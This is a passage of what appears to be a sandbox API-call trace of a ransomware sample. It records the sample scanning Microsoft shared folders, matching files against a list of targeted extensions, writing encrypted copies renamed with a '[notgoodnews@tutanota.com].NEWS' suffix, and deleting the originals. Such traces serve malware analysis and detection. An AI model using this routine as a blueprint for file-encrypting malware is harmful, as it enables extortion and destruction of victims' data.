Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString=".doc") returned 4 [0087.264] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString=".docx") returned 5 [0087.264] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0087.264] lstrlenW (lpString=".pdf") returned 4 [0087.264] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString=".xls") returned 4 [0087.264] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString=".xlsx") returned 5 [0087.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0087.264] lstrlenW (lpString=".ppt") returned 4 [0087.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString=".zip") returned 4 [0087.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString=".rar") returned 4 [0087.264] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.264] lstrlenW (lpString=".bz2") returned 4 [0087.264] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.264] lstrlenW (lpString=".7z") returned 3 [0087.264] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString=".dbf") returned 4 [0087.264] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString=".1cd") returned 4 [0087.264] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.264] lstrlenW (lpString=".jpg") returned 4 [0087.264] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.264] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.265] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.266] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10752) returned 1 [0087.266] CloseHandle (hObject=0x370) returned 1 [0087.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0087.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.266] lstrlenW (lpString=".doc") returned 4 [0087.266] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.266] lstrlenW (lpString=".docx") returned 5 [0087.266] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.266] lstrlenW (lpString=".pdf") returned 4 [0087.266] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.266] lstrlenW (lpString=".xls") returned 4 [0087.266] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.266] lstrlenW (lpString=".xlsx") returned 5 [0087.266] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.266] lstrlenW (lpString=".ppt") returned 4 [0087.266] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.266] lstrlenW (lpString=".zip") returned 4 [0087.266] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.266] lstrlenW (lpString=".rar") returned 4 [0087.266] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.266] lstrlenW (lpString=".bz2") returned 4 [0087.266] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString=".7z") returned 3 [0087.267] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".dbf") returned 4 [0087.267] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".1cd") returned 4 [0087.267] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".jpg") returned 4 [0087.267] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".doc") returned 4 [0087.267] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString=".docx") returned 5 [0087.267] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.267] lstrlenW (lpString=".pdf") returned 4 [0087.267] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.267] lstrlenW (lpString=".xls") returned 4 [0087.267] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.267] lstrlenW (lpString=".xlsx") returned 5 [0087.267] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.267] lstrlenW (lpString=".ppt") returned 4 [0087.267] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".zip") returned 4 [0087.267] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.267] lstrlenW (lpString=".rar") returned 4 [0087.267] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.267] lstrlenW (lpString=".bz2") returned 4 [0087.267] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.267] lstrlenW (lpString=".7z") returned 3 [0087.267] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.267] lstrlenW (lpString=".dbf") returned 4 [0087.267] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.268] lstrlenW (lpString=".1cd") returned 4 [0087.268] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0087.268] lstrlenW (lpString=".jpg") returned 4 [0087.268] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.268] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.268] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.268] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10752) returned 1 [0087.268] CloseHandle (hObject=0x370) returned 1 [0087.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0087.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".doc") returned 4 [0087.269] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString=".docx") returned 5 [0087.269] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.269] lstrlenW (lpString=".pdf") returned 4 [0087.269] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.269] lstrlenW (lpString=".xls") returned 4 [0087.269] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.269] lstrlenW (lpString=".xlsx") returned 5 [0087.269] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.269] lstrlenW (lpString=".ppt") returned 4 [0087.269] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".zip") returned 4 [0087.269] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.269] lstrlenW (lpString=".rar") returned 4 [0087.269] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.269] lstrlenW (lpString=".bz2") returned 4 [0087.269] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString=".7z") returned 3 [0087.269] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".dbf") returned 4 [0087.269] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".1cd") returned 4 [0087.269] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".jpg") returned 4 [0087.269] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.269] lstrlenW (lpString=".doc") returned 4 [0087.269] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.269] lstrlenW (lpString=".docx") returned 5 [0087.270] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.270] lstrlenW (lpString=".pdf") returned 4 [0087.270] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.270] lstrlenW (lpString=".xls") returned 4 [0087.270] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.270] lstrlenW (lpString=".xlsx") returned 5 [0087.270] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.270] lstrlenW (lpString=".ppt") returned 4 [0087.270] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.270] lstrlenW (lpString=".zip") returned 4 [0087.270] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.270] lstrlenW (lpString=".rar") returned 4 [0087.270] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.270] lstrlenW (lpString=".bz2") returned 4 [0087.270] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.270] lstrlenW (lpString=".7z") returned 3 [0087.270] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.270] lstrlenW (lpString=".dbf") returned 4 [0087.270] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.270] lstrlenW (lpString=".1cd") returned 4 [0087.270] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0087.270] lstrlenW (lpString=".jpg") returned 4 [0087.270] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.643] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0087.643] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.644] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10240) returned 1 [0087.644] CloseHandle (hObject=0x364) returned 1 [0087.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0087.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.860] lstrlenW (lpString=".doc") returned 4 [0087.860] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString=".docx") returned 5 [0087.861] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.861] lstrlenW (lpString=".pdf") returned 4 [0087.861] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.861] lstrlenW (lpString=".xls") returned 4 [0087.861] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.861] lstrlenW (lpString=".xlsx") returned 5 [0087.861] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.861] lstrlenW (lpString=".ppt") returned 4 [0087.861] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString=".zip") returned 4 [0087.861] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.861] lstrlenW (lpString=".rar") returned 4 [0087.861] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.861] lstrlenW (lpString=".bz2") returned 4 [0087.861] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString=".7z") returned 3 [0087.861] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString=".dbf") returned 4 [0087.861] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString=".1cd") returned 4 [0087.861] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString=".jpg") returned 4 [0087.861] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.861] lstrlenW (lpString=".doc") returned 4 [0087.861] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.861] lstrlenW (lpString=".docx") returned 5 [0087.861] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.862] lstrlenW (lpString=".pdf") returned 4 [0087.862] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.862] lstrlenW (lpString=".xls") returned 4 [0087.862] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.862] lstrlenW (lpString=".xlsx") returned 5 [0087.862] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.862] lstrlenW (lpString=".ppt") returned 4 [0087.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.862] lstrlenW (lpString=".zip") returned 4 [0087.862] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.862] lstrlenW (lpString=".rar") returned 4 [0087.862] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.862] lstrlenW (lpString=".bz2") returned 4 [0087.862] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.862] lstrlenW (lpString=".7z") returned 3 [0087.862] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.862] lstrlenW (lpString=".dbf") returned 4 [0087.862] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.862] lstrlenW (lpString=".1cd") returned 4 [0087.862] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.862] lstrlenW (lpString=".jpg") returned 4 [0087.862] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.862] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0087.862] lstrlenW (lpString="OSE.EXE") returned 7 [0087.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.864] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=244296) returned 1 [0087.864] CloseHandle (hObject=0x364) returned 1 [0087.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0087.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0087.864] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.865] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0087.865] GetLastError () returned 0x0 [0087.865] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0087.870] WriteFile (in: hFile=0x36c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0087.874] ReadFile (in: hFile=0x364, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.874] WriteFile (in: hFile=0x36c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe2, lpOverlapped=0x0) returned 1 [0087.874] SetEndOfFile (hFile=0x36c) returned 1 [0087.874] CloseHandle (hObject=0x36c) returned 1 [0087.874] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.874] SetEndOfFile (hFile=0x364) returned 1 [0087.877] CloseHandle (hObject=0x364) returned 1 [0087.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.877] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0087.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.877] lstrlenW (lpString=".doc") returned 4 [0087.877] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0087.877] lstrlenW (lpString=".docx") returned 5 [0087.877] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0087.877] lstrlenW (lpString=".pdf") returned 4 [0087.877] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0087.877] lstrlenW (lpString=".xls") returned 4 [0087.877] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0087.877] lstrlenW (lpString=".xlsx") returned 5 [0087.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0087.877] lstrlenW (lpString=".ppt") returned 4 [0087.877] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString=".zip") returned 4 [0087.878] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString=".rar") returned 4 [0087.878] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString=".bz2") returned 4 [0087.878] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0087.878] lstrlenW (lpString=".7z") returned 3 [0087.878] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString=".dbf") returned 4 [0087.878] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString=".1cd") returned 4 [0087.878] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString=".jpg") returned 4 [0087.878] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0087.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 